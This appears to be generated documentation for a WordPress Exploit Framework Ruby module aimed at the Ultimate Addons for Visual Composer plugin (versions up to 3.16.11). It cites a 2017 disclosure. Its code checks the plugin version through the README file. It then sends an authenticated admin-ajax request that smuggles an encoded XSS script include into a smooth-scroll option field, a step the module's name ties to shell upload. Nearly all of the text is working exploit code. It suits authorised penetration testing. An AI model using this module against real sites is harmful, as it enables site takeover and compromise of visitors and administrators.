class Wpxf::Exploit::UltimateAddonsForVCAuthenticatedStoredXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::StoredXss::new
# File lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Ultimate Addons for Visual Composer <= 3.16.11 Authenticated Stored XSS Shell Upload',
    author: [
      'WpHutte',   # Disclosure
      'rastating'  # WPXF module
    ],
    references: [
      ['WPVDB', '8821'],
      ['URL', 'http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/']
    ],
    date: 'Apr 16 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb, line 23
def check
  readme = normalize_uri(wordpress_url_plugins, 'Ultimate_VC_Addons', 'README')
  check_version_from_custom_file(readme, /Version:<\/strong>\s((\d+\.?)+)/, '3.16.12')
end
requires_authentication() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb, line 28
def requires_authentication
  true
end
store_script() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb, line 36
def store_script
  execute_post_request(
    url: wordpress_url_admin_ajax,
    cookie: session_cookie,
    body: {
      'action'                                => 'update_ultimate_options',
      'ultimate_smooth_scroll'                => 'enable',
      'ultimate_smooth_scroll_options[speed]' => Utility::Text.rand_numeric(2),
      'ultimate_smooth_scroll_options[step]'  => "#{Utility::Text.rand_numeric(2)}; #{xss_ascii_encoded_include_script}"
    }
  )
end
vulnerable_page() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb, line 32
def vulnerable_page
  full_uri
end